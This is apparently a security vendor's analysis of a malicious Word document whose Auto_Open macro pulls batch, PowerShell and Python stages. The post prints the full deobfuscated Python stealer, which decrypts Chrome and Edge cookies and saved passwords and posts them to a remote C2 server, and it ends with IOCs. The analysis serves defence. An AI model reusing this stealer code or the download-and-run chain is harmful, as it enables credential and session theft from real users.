Analysis of Malicious Word Document: Python Based Malware Targeting Browser Data

In our recent investigations, we have identified a stealer malware spreading through Word documents. Despite its seemingly simple operation, the malware drew our attention when it received a detection score of 4/67 on VirusTotal.

Once installed on a compromised computer, it retrieves the device’s IP address and sends the user’s browser information to a command-and-control (C2) server, tailored to specific countries.

Preview: Malicious Word File

The user is shown a fake screen like the one below and in the background the commands that will be shown later in the analysis are executed.

Auto_Open, one of the macros available in the document, starts malicious code as soon as the document is opened.

Analysis of Malicious Word

The ViperMonkey tool can be used directly to emulate the code in the malware. In this way, the malicious macros and IOCs can be displayed in clean output according to the flow. Here we see that the entry point is autoopen and a file will be downloaded from the remote server and saved as mem.bat in the Public folder.

If we manually curl this operation with cmd, cmd commands can be displayed as follows.

These commands work as follows:

  • Another file is downloaded with Powershell and saved in the Startup folder as WindowsUpdate.bat for persistence.
  • Then download python39.zip file from the remote server to install python on the computer.
  • Finally, download a file called documents.py from the remote server and run this script with python.

When we view the last downloaded script with curl, important modules have been imported as below and there are codes to decode and execute from base64.

At this point, no execute operation is performed, decoding is done directly and another python code is obtained. As seen here, it looks like a data is being retrieved again with the requests module.

When we get this data again with curl, we get a long base64 format data. After saving it to a different file to decode it, it is decoded with cyberchef as below.

In the decoded data, obfuscated codes written in python are seen again.

If we rename the variables manually, it becomes clean like below:

def func1():
    var1 = getpass.getuser()
    var2 = ""
    try:
        p = requests.get("https://ipinfo.io")
        var3 = p.json()
        var2 = var3["ip"] + "\nCountry: " + var3["country"] + "\nCity: " + var3["city"]
    except:
        pass
    return {"username": var1, "ip": var2}


def func2():
    p = requests.get("https://sealingshop.click/host/review")
    return p.text.replace("\n", "")


os.system("taskkill /f /im chrome.exe")
var4 = func1()
func2 = func2()


def func3(data, key):
    try:
        iv = data[3:15]
        data = data[15:]
        cipher = AES.new(key, AES.MODE_GCM, iv)
        return cipher.decrypt(data)[:-16].decode()
    except:
        try:
            return str(win32crypt.CryptUnprotectData(data, None, None, None, 0)[1])
        except:
            return ""


def func4(parameter1):
    var5 = None
    try:
        if parameter1 == "chrome":
            var5 = os.path.join(
                os.environ["USERPROFILE"],
                "AppData",
                "Local",
                "Google",
                "Chrome",
                "User Data",
                "Local State",
            )
        elif parameter1 == "edge":
            var5 = os.path.join(
                os.environ["USERPROFILE"],
                "AppData",
                "Local",
                "Microsoft",
                "Edge",
                "User Data",
                "Local State",
            )
        if var5 != None:
            with open(var5, "r", encoding="utf-8") as f:
                var6 = f.read()
                var6 = json.loads(var6)
            key = base64.b64decode(var6["os_crypt"]["encrypted_key"])
            key = key[5:]
            return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]
        return None
    except:
        return None


def func5(parameter1):
    var7 = []
    if parameter1 == "chrome":
        var8 = "\\..\\Local\\Google\\Chrome\\User Data\\Default\\Network\\Cookies"
        path_profile = "\\..\\Local\\Google\\Chrome\\User Data\\Profile "
    elif parameter1 == "edge":
        var8 = "\\..\\Local\\Microsoft\\Edge\\User Data\\Default\\Network\\Cookies"
        path_profile = "\\..\\Local\\Microsoft\\Edge\\User Data\\Profile "

    try:
        conn = sqlite3.connect(os.getenv("APPDATA") + var8)
        conn.text_factory = lambda b: b.decode(errors="ignore")
        var9 = func7(conn, parameter1)
        var7.append(var9)
    except:
        pass

    for i in range(1, 200):
        try:
            conn = sqlite3.connect(
                os.getenv("APPDATA") + path_profile + str(i) + "\\Network\\Cookies"
            )
            conn.text_factory = lambda b: b.decode(errors="ignore")
            var10 = func7(conn, parameter1)
            var7.append(var10)
        except:
            pass
    return var7


def func6(parameter1):
    var11 = []
    if parameter1 == "chrome":
        var8 = "\\..\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
        path_profile = "\\..\\Local\\Google\\Chrome\\User Data\\Profile "
    elif parameter1 == "edge":
        var8 = "\\..\\Local\\Microsoft\\Edge\\User Data\\Default\\Login Data"
        path_profile = "\\..\\Local\\Microsoft\\Edge\\User Data\\Profile "

    try:
        conn = sqlite3.connect(os.getenv("APPDATA") + var8)
        conn.text_factory = lambda b: b.decode(errors="ignore")
        var12 = func8(conn, parameter1)
        var11.append(var12)
    except:
        pass
    for i in range(1, 200):
        try:
            conn = sqlite3.connect(
                os.getenv("APPDATA") + path_profile + str(i) + "\\Login Data"
            )
            conn.text_factory = lambda b: b.decode(errors="ignore")
            var12 = func8(conn, parameter1)
            var11.append(var12)
        except:
            pass
    return var11


def func7(conn, parameter1, host_key=""):
    var7 = ""
    if conn != None:
        with conn:
            cur = conn.cursor()
            if host_key != "":
                cur.execute(
                    "SELECT host_key, has_expires, path, is_secure, expires_utc, name, encrypted_value FROM Cookies WHERE host_key LIKE '%facebook.com%' ORDER BY host_key"
                )
            else:
                cur.execute(
                    "SELECT host_key, has_expires, path, is_secure, expires_utc, name, encrypted_value FROM Cookies ORDER BY host_key"
                )
            key = func4(parameter1)
            if key != None:
                host = ""
                for i in cur.fetchall():
                    if i[1] == 1:
                        exp = "TRUE"
                    else:
                        exp = "FALSE"
                    if i[3] == 1:
                        ser = "TRUE"
                    else:
                        ser = "FALSE"
                    decrypted_value = func3(i[6], key)
                    try:
                        var7 += (
                            i[0]
                            + "\t"
                            + exp
                            + "\t"
                            + i[2]
                            + "\t"
                            + ser
                            + "\t"
                            + str(i[4])
                            + "\t"
                            + i[5]
                            + "\t"
                            + decrypted_value
                            + "\n"
                        )
                    except:
                        pass
                return var7
    return var7


def func8(conn, parameter1, origin_url=""):
    data = ""
    if conn != None:
        with conn:
            cur = conn.cursor()
            if origin_url != "":
                cur.execute(
                    "SELECT origin_url, username_value, password_value FROM logins WHERE origin_url LIKE '%facebook.com%' ORDER BY origin_url"
                )
            else:
                cur.execute(
                    "SELECT origin_url, username_value, password_value FROM logins ORDER BY origin_url"
                )
            key = func4(parameter1)
            if key != None:
                for i in cur.fetchall():
                    decrypted_value = func3(i[2], key)
                    data += (
                        "URL: "
                        + i[0]
                        + "\nUsername: "
                        + i[1]
                        + "\nPassword: "
                        + decrypted_value
                        + "\n=====\n"
                    )
                return data
    return data


def func9(parameter1):
    var13 = []
    if parameter1 == "chrome":
        var14 = "\\..\\Local\\Google\\Chrome\\User Data\\Default\\Network\\Cookies"
        var15 = "\\..\\Local\\Google\\Chrome\\User Data\\Profile "

        var16 = "\\..\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
        var17 = "\\..\\Local\\Google\\Chrome\\User Data\\Profile "
    elif parameter1 == "edge":
        var14 = "\\..\\Local\\Microsoft\\Edge\\User Data\\Default\\Network\\Cookies"
        var15 = "\\..\\Local\\Microsoft\\Edge\\User Data\\Profile "

        var16 = "\\..\\Local\\Microsoft\\Edge\\User Data\\Default\\Login Data"
        var17 = "\\..\\Local\\Microsoft\\Edge\\User Data\\Profile "

    try:
        conn = sqlite3.connect(os.getenv("APPDATA") + var14)
        conn.text_factory = lambda b: b.decode(errors="ignore")
        var18 = func7(conn, parameter1, "fb")

        try:
            conn = sqlite3.connect(os.getenv("APPDATA") + var16)
            conn.text_factory = lambda b: b.decode(errors="ignore")
            var19 = func8(conn, parameter1, "fb")
        except:
            var19 = ""

        var20 = {"cookie": var18, "password": var19}
        var13.append(var20)
    except:
        pass

    for i in range(1, 200):
        try:
            conn = sqlite3.connect(
                os.getenv("APPDATA") + var15 + str(i) + "\\Network\\Cookies"
            )
            conn.text_factory = lambda b: b.decode(errors="ignore")
            var21 = func7(conn, parameter1, "fb")

            try:
                conn = sqlite3.connect(
                    os.getenv("APPDATA") + var17 + str(i) + "\\Network\\Cookies"
                )
                conn.text_factory = lambda b: b.decode(errors="ignore")
                var22 = func8(conn, parameter1, "fb")
            except:
                var22 = ""

            var20 = {"cookie": var21, "password": var22}
            var13.append(var20)
        except:
            pass
    return var13


def func10():
    var23 = func9("chrome")
    var24 = func9("edge")
    data = {"userInfo": var4, "chrome": var23, "edge": var24}
    try:
        requests.post(func2 + "/up/cookie-password", json=data)
    except:
        pass


def func11():
    var25 = func5("chrome")
    var26 = func5("edge")

    var27 = func6("chrome")
    var28 = func6("edge")

    data = {
        "userInfo": var4,
        "chrome": {"cookie": var25, "password": var27},
        "edge": {"cookie": var26, "password": var28},
    }
    try:
        requests.post(func2 + "/up/cookie-password-all", json=data)
    except:
        pass


p = requests.get("https://ipinfo.io")
if p.json()["country"] not in [
    "ZM",
    "YE",
    "TV",
    "TG",
    "TO",
    "SA",
    "MW",
    "KE",
    "V",
    "GA",
    "ET",
    "DM",
    "BE",
]:
    func10()
    func11()

This code runs permanently on the computer and performs the following functions:

  • Getting User and IP Information: func1 retrieves the computer’s username and IP details.
  • Fetching and Modifying Data: func2 fetches data from a specified URL and removes unnecessary characters.
  • Decrypting Data: func3 decrypts given data using AES or Windows native methods.
  • Retrieving Browser Data: func4, func5, func6, and func7 extract cookies, passwords, and other data from Chrome or Edge browsers and decrypt them.
  • Sending Data: func10 and func11 send user information and browser data to a specified URL.

The stolen information is sent to another server fetched by the func2 function as follows.

In addition, the process chain with procmon is as follows:

Analysis With DOCGuard

DOCGuard can swiftly examine a suspicious Word document and provide you with a detailed analysis within seconds.

https://app.docguard.io/37b8ca2be933cb08925f6395f9336b20ec886ac579c002af10c051e676a5183a/results/dashboard

Additionally, it can scan any identified IOCs and malicious URLs.

MITRE ATT&CK Tactics and Techniques

IOCs

URLsealingshop[.]click
URLcedc-14-225-198-35[.]ngrok-free[.]app
MD503e9580af45e9d37e0c77c012557cfa1
MD5495d8670bdf6bcbbbaeae5a569f65952
MD5c20e187df24f7295d6ba3ce269eb0fd9
Comments are closed.